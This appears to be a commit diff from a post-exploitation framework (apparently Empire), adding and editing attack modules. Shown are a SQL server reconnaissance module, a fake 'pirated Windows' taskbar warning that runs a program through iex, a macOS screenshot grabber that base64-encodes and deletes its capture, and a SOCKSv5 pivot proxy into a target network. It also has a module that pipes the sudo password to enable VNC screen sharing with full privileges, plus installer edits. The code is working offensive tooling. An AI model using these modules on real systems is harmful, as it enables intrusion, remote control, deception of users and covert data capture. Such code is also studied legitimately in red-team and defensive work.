moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1"
script = ""
try:
with open(moduleSource, 'r') as source:
script = source.read()
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
if check_all:
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
try:
with open(auxModuleSource, 'r') as auxSource:
auxScript = auxSource.read()
script += " " + auxScript
except:
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
script += " Get-SQLInstanceDomain "
if username != "":
script += " -Username "+username
if password != "":
script += " -Password "+password
script += " | "
script += " Get-SQLServerInfo"
if username != "":
script += " -Username "+username
if password != "":
script += " -Password "+password
if instance != "" and not check_all:
script += " -Instance "+instance
return script

View File

@ -0,0 +1,111 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-WLMDR',
'Author': ['@benichmt1'],
'Description': ("Displays a balloon reminder in the taskbar."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
''
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Message' : {
'Description' : 'Message text to display.',
'Required' : True,
'Value' : 'You are using a pirated version of Microsoft Windows.'
},
'IconType' : {
'Description' : 'Critical, Exclamation, Information, Key, or None',
'Required' : True,
'Value' : 'Key'
},
'Title' : {
'Description' : 'Title of the message box to display.',
'Required' : True,
'Value' : 'Windows Explorer'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
script = """
function Invoke-Wlrmdr {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, Position = 0)]
[String] $Message = "You are using pirated Windows",
[Parameter(Mandatory = $True, Position = 1)]
[String] $IconType = "Key",
[Parameter(Mandatory = $True, Position = 2)]
[String] $Title = "Windows Explorer"
)
$command = "wlrmdr.exe -s 60000 -f "
$Iaintgotnotype = switch ($IconType)
{
"Critical" {6}
"Exclamation" {5}
"Information" {1}
"Key" {4}
"None" {0}
default {0}
}
$command += $Iaintgotnotype
$command += "-t "
$command += $Title
$command += " -m "
$command += $Message
$command += " -a 10 -u calc"
iex $command
}
Invoke-Wlrmdr"""
for option,values in self.options.iteritems():
if option.lower() != "agent" and option.lower() != "computername":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
return script

View File

@ -1,18 +1,19 @@
from lib.common import helpers from lib.common import helpers
class Module: class Module:
def __init__(self, mainMenu, params=[]): def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime # Metadata info about the module, not modified during runtime
self.info = { self.info = {
# name for the module that will appear in module menus # Name for the module that will appear in module menus
'Name': 'Invoke-Something', 'Name': 'Invoke-Something',
# list of one or more authors for the module # List of one or more authors for the module
'Author': ['@yourname'], 'Author': ['@yourname'],
# more verbose multi-line description of the module # More verbose multi-line description of the module
'Description': ('description line 1 ' 'Description': ('description line 1 '
'description line 2'), 'description line 2'),
@ -28,22 +29,22 @@ class Module:
# True if the method doesn't touch disk/is reasonably opsec safe # True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True, 'OpsecSafe': True,
# the language for this module # The language for this module
'Language': 'powershell', 'Language': 'powershell',
# The minimum PowerShell version needed for the module to run # The minimum PowerShell version needed for the module to run
'MinLanguageVersion': '2', 'MinLanguageVersion': '2',
# list of any references/other comments # List of any references/other comments
'Comments': [ 'Comments': [
'comment', 'comment',
'http://link/' 'http://link/'
] ]
} }
# any options needed by the module, settable during runtime # Any options needed by the module, settable during runtime
self.options = { self.options = {
# format: # Format:
# value_name : {description, required, default_value} # value_name : {description, required, default_value}
'Agent': { 'Agent': {
# The 'Agent' option is the only one that MUST be in a module # The 'Agent' option is the only one that MUST be in a module
@ -58,17 +59,17 @@ class Module:
} }
} }
# save off a copy of the mainMenu object to access external functionality # Save off a copy of the mainMenu object to access external
# like listeners/agent handlers/etc. # functionality like listeners/agent handlers/etc.
self.mainMenu = mainMenu self.mainMenu = mainMenu
# During instantiation, any settable option parameters # During instantiation, any settable option parameters are passed as
# are passed as an object set to the module and the # an object set to the module and the options dictionary is
# options dictionary is automatically set. This is mostly # automatically set. This is mostly in case options are passed on
# in case options are passed on the command line # the command line.
if params: if params:
for param in params: for param in params:
# parameter format is [Name, Value] # Parameter format is [Name, Value]
option, value = param option, value = param
if option in self.options: if option in self.options:
self.options[option]['Value'] = value self.options[option]['Value'] = value
@ -76,22 +77,21 @@ class Module:
def generate(self, obfuscate=False, obfuscationCommand=""): def generate(self, obfuscate=False, obfuscationCommand=""):
# the PowerShell script itself, with the command to invoke # The PowerShell script itself, with the command to invoke for
# for execution appended to the end. Scripts should output # execution appended to the end. Scripts should output everything
# everything to the pipeline for proper parsing. # to the pipeline for proper parsing.
# #
# the script should be stripped of comments, with a link to any # If you're planning on storing your script in module_source as a ps1,
# original reference script included in the comments. # or if you're importing a shared module_source, use the first
script = """ # method to import it and the second to add any additional code and
function Invoke-Something { # launch it.
#
} # If you're just going to inline your script, you can delete the first
Invoke-Something""" # method entirely and just use the second. The script should be
# stripped of comments, with a link to any original reference script
# included in the comments.
# if you're reading in a large, external script that might be updates, #
# use the pattern below # First method: Read in the source script from module_source
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/..." moduleSource = self.mainMenu.installPath + "/data/module_source/..."
if obfuscate: if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
@ -105,10 +105,31 @@ Invoke-Something"""
moduleCode = f.read() moduleCode = f.read()
f.close() f.close()
# If you'd just like to import a subset of the functions from the
# module source, use the following:
# script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
script = moduleCode script = moduleCode
# Second method: For calling your imported source, or holding your
# inlined script. If you're importing source using the first method,
# ensure that you append to the script variable rather than set.
#
# The script should be stripped of comments, with a link to any
# original reference script included in the comments.
#
# If your script is more than a few lines, it's probably best to use
# the first method to source it.
#
# script += """
script = """
function Invoke-Something {
}
Invoke-Something"""
scriptEnd = "" scriptEnd = ""
# add any arguments to the end execution of the script
# Add any arguments to the end execution of the script
for option, values in self.options.iteritems(): for option, values in self.options.iteritems():
if option.lower() != "agent": if option.lower() != "agent":
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':

View File

@ -73,7 +73,7 @@ class Module:
script = """ script = """
# take a screenshot using screencapture # take a screenshot using screencapture
run_command('screencapture -x /tmp/out.png') run_command('screencapture -x %s')
# base64 up resulting file, delete the file, return the base64 of the png output # base64 up resulting file, delete the file, return the base64 of the png output
# mocked from the Empire screenshot module # mocked from the Empire screenshot module
f = open('%s', 'rb') f = open('%s', 'rb')
@ -81,6 +81,6 @@ data = f.read()
f.close() f.close()
run_command('rm -f %s') run_command('rm -f %s')
print data print data
""" % (savePath, savePath) """ % (savePath, savePath, savePath)
return script return script

View File

@ -0,0 +1,99 @@
from lib.common import helpers
import os
import string
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'SOCKSv5 proxy',
# list of one or more authors for the module
'Author': ['@klustic'],
# more verbose multi-line description of the module
'Description': ('Extend a SOCKSv5 proxy into your target network'),
# True if the module needs to run in the background
'Background': True,
# File extension to save the file as
# no need to base64 return data
'OutputExtension': None,
'NeedsAdmin': False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.7',
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# list of any references/other comments
'Comments': [
'Modified from: https://github.com/klustic/AlmondRocks',
'Use the server found in that Github repo with this module.'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to proxy through',
'Required' : True,
'Value' : ''
},
'HOST': {
'Description' : 'Host running the AlmondRocks server',
'Required' : True,
'Value' : ''
},
'PORT': {
'Description' : 'AlmondRocks server port',
'Required' : True,
'Value' : ''
},
'NoSSL': {
'Description' : 'Disable SSL (NOT RECOMMENDED!)',
'Required' : False,
'Value' : 'false'
}
}
self.mainMenu = mainMenu
if params:
for option, value in params:
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
module_path = os.path.join(self.mainMenu.installPath,
'data/module_source/python/lateral_movement/socks_source.py')
try:
with open(module_path) as f:
script_template = string.Template(f.read())
except Exception as e:
print helpers.color('[!] Error reading {}: {}'.format(str(module_path), e))
return ""
options = {x.lower(): y for x, y in self.options.items()}
host = options.get('host', {}).get('Value')
port = options.get('port', {}).get('Value')
if options.get('nossl', {}).get('Value', 'false').lower() == 'true':
no_ssl = True
else:
no_ssl = False
return script_template.substitute(host=host, port=port, no_ssl=no_ssl)

View File

@ -0,0 +1,86 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'ScreenSharing',
# list of one or more authors for the module
'Author': ['@n00py'],
# more verbose multi-line description of the module
'Description': ('Enables ScreenSharing to allow you to connect to the host via VNC.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : True,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': ['https://www.unix-ninja.com/p/Enabling_macOS_screen_sharing_VNC_via_command_line']
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Password' : {
'Description' : 'User password for sudo.',
'Required' : True,
'Value' : ''
},
'VNCpass' : {
'Description' : 'Password to use for VNC',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
password = self.options['Password']['Value']
vncpass = self.options['VNCpass']['Value']
enable = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -clientopts -setvncpw -vncpw %s -restart -agent -privs -all" % (vncpass)
script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, enable)
return script

View File

@ -15,7 +15,7 @@ fi
version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
if lsb_release -d | grep -q "Fedora"; then if lsb_release -d | grep -q "Fedora"; then
Release=Fedora Release=Fedora
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev
pip install setuptools pip install setuptools
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
@ -23,13 +23,12 @@ if lsb_release -d | grep -q "Fedora"; then
pip install flask pip install flask
pip install macholib pip install macholib
pip install dropbox pip install dropbox
pip install pyopenssl pip install pyOpenSSL
pip install pyinstaller pip install pyinstaller
pip install zlib_wrapper pip install zlib_wrapper
elif lsb_release -d | grep -q "Kali"; then elif lsb_release -d | grep -q "Kali"; then
Release=Kali Release=Kali
apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
easy_install pip
pip install setuptools pip install setuptools
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
@ -37,7 +36,7 @@ elif lsb_release -d | grep -q "Kali"; then
pip install flask pip install flask
pip install macholib pip install macholib
pip install dropbox pip install dropbox
pip install pyopenssl pip install pyOpenSSL
pip install pyinstaller pip install pyinstaller
pip install zlib_wrapper pip install zlib_wrapper
if ! which powershell > /dev/null; then if ! which powershell > /dev/null; then
@ -54,8 +53,7 @@ elif lsb_release -d | grep -q "Kali"; then
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
elif lsb_release -d | grep -q "Ubuntu"; then elif lsb_release -d | grep -q "Ubuntu"; then
Release=Ubuntu Release=Ubuntu
apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
easy_install pip
pip install setuptools pip install setuptools
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
@ -81,8 +79,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
else else
echo "Unknown distro - Debian/Ubuntu Fallback" echo "Unknown distro - Debian/Ubuntu Fallback"
apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libffi-dev libssl-dev apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev
easy_install pip
pip install setuptools pip install setuptools
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
@ -91,7 +88,7 @@ else
pip install macholib pip install macholib
pip install dropbox pip install dropbox
pip install cryptography pip install cryptography
pip install python-openssl pip install pyOpenSSL
pip install pyinstaller pip install pyinstaller
pip install zlib_wrapper pip install zlib_wrapper
if ! which powershell > /dev/null; then if ! which powershell > /dev/null; then